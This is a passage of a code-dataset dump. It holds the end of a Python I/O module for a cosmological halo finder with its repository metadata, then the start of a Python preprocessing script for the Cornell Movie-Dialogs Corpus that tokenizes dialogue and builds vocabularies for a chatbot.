h.p.x,h.p.y,h.p.z )\n    unitfile.write_record( h.v.x,h.v.y,h.v.z )\n    unitfile.write_record( h.L.x,h.L.y,h.L.z  )\n    unitfile.write_record( h.r, h.sh.a, h.sh.b, h.sh.c )\n    unitfile.write_record( h.ek,h.ep,h.et )\n    unitfile.write_record( h.spin )\n    unitfile.write_record( h.sigma )\n    unitfile.write_record( h.datas.rvir,h.datas.mvir,h.datas.tvir,h.datas.cvel )\n    unitfile.write_record( h.halo_profile.rho_0,h.halo_profile.r_c )", "repo_name": "syj3514/halomaker_python", "sub_path": "input_output.py", "file_name": "input_output.py", "file_ext": "py", "file_size_in_byte": 26434, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "halo_defs.numero_step", "line_number": 27, "usage_type": "attribute"}, {"api_name": "halo_defs.numero_step", "line_number": 29, "usage_type": "attribute"}, {"api_name": "halo_defs.data_dir", "line_number": 30, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 35, "usage_type": "attribute"}, {"api_name": "halo_defs.nbPes", "line_number": 35, "usage_type": "attribute"}, {"api_name": "halo_defs.numstep", "line_number": 35, "usage_type": "attribute"}, {"api_name": "halo_defs.nbPes", "line_number": 36, "usage_type": "attribute"}, {"api_name": "halo_defs.numstep", "line_number": 36, "usage_type": "attribute"}, {"api_name": "halo_defs.file_num", "line_number": 39, "usage_type": "attribute"}, {"api_name": "halo_defs.numstep", "line_number": 39, "usage_type": "attribute"}, {"api_name": "halo_defs.data_dir", "line_number": 41, "usage_type": "attribute"}, {"api_name": "halo_defs.numero_step", "line_number": 49, "usage_type": "attribute"}, {"api_name": "halo_defs.nsteps", "line_number": 49, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 51, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 53, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_t", "line_number": 64, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_f", "line_number": 64, "usage_type": "attribute"}, {"api_name": "halo_defs.af", "line_number": 64, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 64, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_t", "line_number": 65, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_f", "line_number": 65, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_lambda_f", "line_number": 65, "usage_type": "attribute"}, {"api_name": "halo_defs.af", "line_number": 65, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 65, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 66, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 67, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_t", "line_number": 68, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_f", "line_number": 68, "usage_type": "attribute"}, {"api_name": "halo_defs.af", "line_number": 68, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 68, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_t", "line_number": 69, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_f", "line_number": 69, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_lambda_f", "line_number": 69, "usage_type": "attribute"}, {"api_name": "halo_defs.af", "line_number": 69, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 69, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 70, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 71, "usage_type": "attribute"}, {"api_name": "halo_defs.simtype", "line_number": 72, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 74, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 75, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 76, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 78, "usage_type": "call"}, {"api_name": "atexit.unregister", "line_number": 118, "usage_type": "call"}, {"api_name": "halo_defs.flush", "line_number": 118, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 119, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 119, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 119, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 120, "usage_type": "call"}, {"api_name": "signal.SIGPIPE", "line_number": 120, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 120, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 121, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 121, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 121, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 126, "usage_type": "call"}, {"api_name": "halo_defs.ncpu", "line_number": 127, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 128, "usage_type": "attribute"}, {"api_name": "halo_defs.nlevelmax", "line_number": 130, "usage_type": "attribute"}, {"api_name": "halo_defs.Lboxp", "line_number": 140, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 142, "usage_type": "attribute"}, {"api_name": "halo_defs.af", "line_number": 142, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_f", "line_number": 143, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_lambda_f", "line_number": 144, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_c_f", "line_number": 145, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 147, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 147, "usage_type": "attribute"}, {"api_name": "halo_defs.nlevelmax", "line_number": 148, "usage_type": "attribute"}, {"api_name": "halo_defs.Lboxp", "line_number": 151, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 156, "usage_type": "call"}, {"api_name": "halo_defs.ncpu", "line_number": 157, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 158, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 160, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 161, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 163, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 167, "usage_type": "attribute"}, {"api_name": "halo_defs.nbodies", "line_number": 169, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 169, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 170, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 173, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 173, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 173, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 173, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 174, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 174, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 174, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 175, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 175, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 175, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 177, "usage_type": "attribute"}, {"api_name": "halo_defs.TQDM", "line_number": 178, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 179, "usage_type": "call"}, {"api_name": "halo_defs.ncpu", "line_number": 179, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 187, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 189, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 192, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 195, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 203, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 205, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 207, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 208, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 211, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 211, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 214, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 214, "usage_type": "name"}, {"api_name": "halo_defs.mboxp", "line_number": 214, "usage_type": "attribute"}, {"api_name": "halo_defs.massp", "line_number": 215, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 215, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 215, "usage_type": "name"}, {"api_name": "halo_defs.RENORM", "line_number": 217, "usage_type": "attribute"}, {"api_name": "halo_defs.massp", "line_number": 219, "usage_type": "attribute"}, {"api_name": "halo_defs.BIG_RUN", "line_number": 221, "usage_type": "attribute"}, {"api_name": "halo_defs.deallocate", "line_number": 222, "usage_type": "call"}, {"api_name": "halo_defs.ndim", "line_number": 229, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 244, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 245, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 246, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 250, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 253, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 263, "usage_type": "attribute"}, {"api_name": "halo_defs.METALS", "line_number": 270, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 275, "usage_type": "call"}, {"api_name": "halo_defs.ndim", "line_number": 276, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 278, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 280, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 281, "usage_type": "name"}, {"api_name": "atexit.unregister", "line_number": 306, "usage_type": "call"}, {"api_name": "halo_defs.flush", "line_number": 306, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 307, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 307, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 307, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 308, "usage_type": "call"}, {"api_name": "signal.SIGPIPE", "line_number": 308, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 308, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 309, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 309, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 309, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 318, "usage_type": "call"}, {"api_name": "halo_defs.ncpu", "line_number": 319, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 320, "usage_type": "attribute"}, {"api_name": "halo_defs.nlevelmax", "line_number": 322, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 337, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 337, "usage_type": "attribute"}, {"api_name": "halo_defs.nlevelmax", "line_number": 338, "usage_type": "attribute"}, {"api_name": "halo_defs.Lboxp", "line_number": 365, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 366, "usage_type": "attribute"}, {"api_name": "halo_defs.af", "line_number": 366, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_f", "line_number": 367, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_lambda_f", "line_number": 368, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_c_f", "line_number": 369, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 382, "usage_type": "call"}, {"api_name": "halo_defs.ncpu", "line_number": 383, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 384, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 386, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 388, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 390, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 399, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 404, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 405, "usage_type": "attribute"}, {"api_name": "halo_defs.nbodies", "line_number": 406, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 406, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 407, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 411, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 411, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 411, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 411, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 412, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 412, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 412, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 412, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 413, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 413, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 413, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 418, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 419, "usage_type": "attribute"}, {"api_name": "halo_defs.nbPes", "line_number": 420, "usage_type": "attribute"}, {"api_name": "halo_defs.TQDM", "line_number": 421, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 422, "usage_type": "call"}, {"api_name": "halo_defs.ncpu", "line_number": 422, "usage_type": "attribute"}, {"api_name": "halo_defs.nbPes", "line_number": 422, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 427, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 427, "usage_type": "attribute"}, {"api_name": "signal.SIG_DFL", "line_number": 427, "usage_type": "attribute"}, {"api_name": "multiprocessing.Pool", "line_number": 428, "usage_type": "call"}, {"api_name": "halo_defs.nbPes", "line_number": 428, "usage_type": "attribute"}, {"api_name": "halo_defs.TQDM", "line_number": 432, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 433, "usage_type": "call"}, {"api_name": "halo_defs.nbPes", "line_number": 433, "usage_type": "attribute"}, {"api_name": "halo_defs.ncpu", "line_number": 433, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 436, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 436, "usage_type": "attribute"}, {"api_name": "halo_defs.flush", "line_number": 436, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 438, "usage_type": "attribute"}, {"api_name": "halo_defs.nbodies", "line_number": 439, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 439, "usage_type": "attribute"}, {"api_name": "halo_defs.npart", "line_number": 440, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 441, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 441, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 441, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 441, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 442, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 442, "usage_type": "attribute"}, {"api_name": "halo_defs.ndim", "line_number": 442, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 442, "usage_type": "attribute"}, {"api_name": "halo_defs.allocate", "line_number": 443, "usage_type": "call"}, {"api_name": "halo_defs.npart", "line_number": 443, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 443, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 444, "usage_type": "name"}, {"api_name": "halo_defs.npart", "line_number": 444, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 445, "usage_type": "name"}, {"api_name": "halo_defs.npart", "line_number": 445, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 446, "usage_type": "name"}, {"api_name": "halo_defs.npart", "line_number": 446, "usage_type": "attribute"}, {"api_name": "halo_defs.deallocate", "line_number": 447, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 449, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 449, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 452, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 452, "usage_type": "name"}, {"api_name": "halo_defs.mboxp", "line_number": 452, "usage_type": "attribute"}, {"api_name": "halo_defs.massp", "line_number": 453, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 453, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 453, "usage_type": "name"}, {"api_name": "halo_defs.RENORM", "line_number": 455, "usage_type": "attribute"}, {"api_name": "halo_defs.massp", "line_number": 457, "usage_type": "attribute"}, {"api_name": "halo_defs.BIG_RUN", "line_number": 459, "usage_type": "attribute"}, {"api_name": "halo_defs.deallocate", "line_number": 460, "usage_type": "call"}, {"api_name": "halo_defs.file_num", "line_number": 485, "usage_type": "attribute"}, {"api_name": "halo_defs.dump_dms", "line_number": 486, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 488, "usage_type": "call"}, {"api_name": "halo_defs.BIG_RUN", "line_number": 491, "usage_type": "attribute"}, {"api_name": "halo_defs.write_resim_masses", "line_number": 492, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 493, "usage_type": "call"}, {"api_name": "halo_defs.data_dir", "line_number": 493, "usage_type": "attribute"}, {"api_name": "halo_defs.nbodies", "line_number": 494, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 495, "usage_type": "name"}, {"api_name": "halo_defs.write_resim_masses", "line_number": 497, "usage_type": "attribute"}, {"api_name": "halo_defs.fsub", "line_number": 499, "usage_type": "attribute"}, {"api_name": "halo_defs.data_dir", "line_number": 500, "usage_type": "attribute"}, {"api_name": "halo_defs.data_dir", "line_number": 502, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 503, "usage_type": "call"}, {"api_name": "halo_defs.nbodies", "line_number": 506, "usage_type": "attribute"}, {"api_name": "halo_defs.massp", "line_number": 507, "usage_type": "attribute"}, {"api_name": "halo_defs.aexp", "line_number": 508, "usage_type": "attribute"}, {"api_name": "halo_defs.omega_t", "line_number": 509, "usage_type": "attribute"}, {"api_name": "halo_defs.age_univ", "line_number": 510, "usage_type": "attribute"}, {"api_name": "halo_defs.nb_of_halos", "line_number": 511, "usage_type": "attribute"}, {"api_name": "halo_defs.nb_of_subhalos", "line_number": 511, "usage_type": "attribute"}, {"api_name": "halo_defs.nb_of_halos", "line_number": 512, "usage_type": "attribute"}, {"api_name": "halo_defs.nb_of_subhalos", "line_number": 512, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 514, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 514, "usage_type": "name"}, {"api_name": "numpy.int32", "line_number": 514, "usage_type": "attribute"}, {"api_name": "halo_defs.dump_dms", "line_number": 515, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 516, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 516, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 516, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 517, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 517, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 517, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 518, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 518, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 518, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 519, "usage_type": "call"}, {"api_name": "halo_defs.mem", "line_number": 519, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 519, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 520, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 521, "usage_type": "name"}, {"api_name": "halo_defs.dump_dms", "line_number": 523, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 524, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 525, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 526, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 527, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 528, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 529, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 530, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 531, "usage_type": "name"}, {"api_name": "halo_defs.mem", "line_number": 532, "usage_type": "name"}, {"api_name": "halo_defs.dump_dms", "line_number": 535, "usage_type": "attribute"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 536, "usage_type": "attribute"}, {"api_name": "scipy.io.FortranFile", "line_number": 538, "usage_type": "call"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 539, "usage_type": "attribute"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 540, "usage_type": "attribute"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 541, "usage_type": "attribute"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 542, "usage_type": "attribute"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 543, "usage_type": "attribute"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 544, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 545, "usage_type": "name"}, {"api_name": "halo_defs.ndim", "line_number": 546, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 547, "usage_type": "name"}, {"api_name": "halo_defs.ndim", "line_number": 549, "usage_type": "attribute"}, {"api_name": "halo_defs.mem", "line_number": 550, "usage_type": "name"}, {"api_name": "halo_defs.liste_halos_o0", "line_number": 558, "usage_type": "attribute"}, {"api_name": "halo_defs.halo", "line_number": 562, "usage_type": "name"}, {"api_name": "scipy.io.FortranFile", "line_number": 562, "usage_type": "name"}]}
{"seq_id": "32297013547", "text": "\"\"\" \nPre-processing for the Cornell Movie-Dialogs Corpus.\n\"\"\"\nfrom __future__ import print_function\n\nimport os\nimport random\nimport re\n\nimport numpy as np\n\nimport config\n\n############# Process raw text files\n\ndef getLineId2LineTextDictionary():\n    \"\"\"\n    Parse movie_lines.txt and return dictionary of lineId to lineText\n    \"\"\"\n    id2line = {}\n    file_path = os.path.join(config.DATA_PATH, 'movie_lines.txt')\n    with open(file_path, 'rb') as f:\n        lines = f.readlines()\n        for line in lines:\n            parts = line.split(' +++$+++ ')\n            if len(parts) == 5:\n                if parts[4][-1] == '\\n':\n                    parts[4] = parts[4][:-1]\n                id2line[parts[0]] = parts[4]\n    return id2line\n\ndef getConversationsList():\n    \"\"\" Get list of conversations from movie_conversations.txt \"\"\"\n    file_path = os.path.join(config.DATA_PATH, 'movie_conversations.txt')\n    conversationsList = []\n    with open(file_path, 'rb') as f:\n        for line in f.readlines():\n            parts = line.split(' +++$+++ ')\n            if len(parts) == 4:\n                convo = []\n                for line in parts[3][1:-2].split(', '):\n                    convo.append(line[1:-1])\n                conversationsList.append(convo)\n\n    return conversationsList\n\n###########   \n\ndef conversationToQuestionAnswerPairs(id2line, conversationsList):\n    \"\"\" \n    Divide the dataset into two sets: questions and answers. \n    Take the first line of the conversation as question and second line as answer, and vice versa!!!  [A,B,C] becomes (A,B), (B,C)\n    \"\"\"\n    questions, answers = [], []\n    i = 0\n    for convo in conversationsList:\n        for index, line in enumerate(convo[:-1]):\n            questions.append(id2line[convo[index]])\n            answers.append(id2line[convo[index + 1]])\n\n    assert len(questions) == len(answers)\n    return questions, answers\n\ndef createTrainTestEncoderDecoderDataSets(questions, answers):\n    \"\"\" \n    Create train & test encoder & decoder files.\n    enc / dec means encoder input / decoder output (question / answer)\n    \"\"\"\n    make_dir(config.PROCESSED_PATH)\n    \n    # random conversationsList to create the test set\n    test_ids = random.sample([i for i in range(len(questions))], config.TESTSET_SIZE)\n    \n    filenames = ['train.enc', 'train.dec', 'test.enc', 'test.dec']\n    files = []\n    for filename in filenames:\n        files.append(open(os.path.join(config.PROCESSED_PATH, filename),'wb'))\n\n    for i in range(len(questions)):\n        if i in test_ids:\n            files[2].write(questions[i] + '\\n')\n            files[3].write(answers[i] + '\\n')\n        else:\n            files[0].write(questions[i] + '\\n')\n            files[1].write(answers[i] + '\\n')\n\n    for file in files:\n        file.close()\n\ndef make_dir(path):\n    \"\"\" \n    Create a directory if there isn't one already. \n    \"\"\"\n    try:\n        os.mkdir(path)\n    except OSError:\n        pass\n\ndef tokenize(line, normalize_digits=True):\n    \"\"\" \n    Tokenize text into tokens.\n    \"\"\"\n    # remove placeholders\n    line = re.sub('', '', line)\n    line = re.sub('', '', line)\n    line = re.sub('\\[', '', line)\n    line = re.sub('\\]', '', line)\n    words = []\n    _WORD_SPLIT = re.compile(b\"([.,!?\\\"'-<>:;)(])\")\n    _DIGIT_RE = re.compile(r\"\\d\")\n    for fragment in line.strip().lower().split():\n        for token in re.split(_WORD_SPLIT, fragment):\n            if not token:\n                continue\n            # replace all digits to # character\n            if normalize_digits:\n                token = re.sub(_DIGIT_RE, b'#', token)\n            words.append(token)\n    return words\n\ndef build_vocab(filename, normalize_digits=True):\n    \"\"\"\n    Build file of vocabularies that occur more than config.THRESHOLD\n    in the dataset\n    \"\"\"\n    in_path = os.path.join(config.PROCESSED_PATH, filename)\n    out_path = os.path.join(config.PROCESSED_PATH, 'vocab.{}'.format(filename[-3:]))\n\n    # Build dictionary of each vocabulary to its frequency \n    vocab = {}\n    with open(in_path, 'rb') as f:\n        for line in f.readlines():\n            for token in tokenize(line):\n                if not token in vocab:\n                    vocab[token] = 0\n                vocab[token] += 1\n\n    # Sort dictionary by count and get keys ordered by count\n    sorted_vocab = sorted(vocab, key=vocab.get, reverse=True)\n    with open(out_path, 'wb') as f:\n        f.write('' + '\\n')\n        f.write('' + '\\n')\n        f.write('' + '\\n')\n        f.write('<\\s>' + '\\n') \n        index = 4\n        for word in sorted_vocab:\n            if vocab[word] < config.THRESHOLD:\n                break\n            f.write(word + '\\n')\n            index += 1\n\ndef load_vocab(vocab_path):\n    \"\"\"\n    Load vocabs file and \n    return list of all words and dictionary of each word to its index\n    \"\"\"\n    with open(vocab_path, 'rb') as f:\n        words = f.read().splitlines() \n    # get list of all words and dictionary of each word to its index\n    return words, {words[i]: i for i in range(len(words))}\n\ndef stringToTokenIds(vocab, line):\n    \"\"\"\n    Convert a sentence to id of its tokens\n    \"\"\"\n    return [vocab.get(token, vocab['']) for token in tokenize(line)]\n\ndef convertDatasetFilesToTokenIds(data, mode):\n    \"\"\" \n    Convert all the tokens in the data into their corresponding\n    index in the vocabulary. \n    A file with same name _.ids will be created\n\n     will mark beginning of utterance and  marks end of utterance\n    \"\"\"\n    vocab_path = 'vocab.' + mode\n    in_path = data + '.' + mode\n    out_path = data + '_ids.' + mode\n\n    _, vocab = load_vocab(os.path.join(config.PROCESSED_PATH, vocab_path))\n    in_file = open(os.path.join(config.PROCESSED_PATH, in_path), 'rb')\n    out_file = open(os.path.join(config.PROCESSED_PATH, out_path), 'wb')\n    \n    lines = in_file.read().splitlines()\n    for line in lines:\n        if mode == 'dec': # we only care about '' and  in encoder\n            ids = [vocab['']]\n        else:\n            ids = []\n        ids.extend(stringToTokenIds(vocab, line))\n        # ids.extend([vocab.get(token, vocab['']) for token in tokenize(line)])\n        if mode == 'dec':\n            ids.append(vocab['<\\s>'])\n        out_file.write(' '.join(str(id_) for id_ in ids) + '\\n')\n\ndef load_data(enc_filename, dec_filename, max_training_size=None):\n    \"\"\"\n    - Load questions and answers files. \n    - Each config.BUCKETS would collect QA pairs that conform to (question_max_size, answer_max_size) \n    -  For each question/answer pair, find the bucket tuple that they both belong to,\n           break the for loop once found and go for next line\n\n    returns data_buckets\n    \"\"\"\n    encode_file = open(os.path.join(config.PROCESSED_PATH, enc_filename), 'rb')\n    decode_file = open(os.path.join(config.PROCESSED_PATH, dec_filename), 'rb')\n    encode, decode = encode_file.readline(), decode_file.readline()\n\n    # each bucket is a tuple of (encode_max_size, decode_max_size) that should belong to same bucket\n    # used for mini-batching\n    #\n    # For each bucket, create an empty array\n    data_buckets = [[] for _ in config.BUCKETS]\n    i = 0\n\n    # For each question/answer pair, find the bucket tuple that they both belong to,\n    # break the for loop once found\n    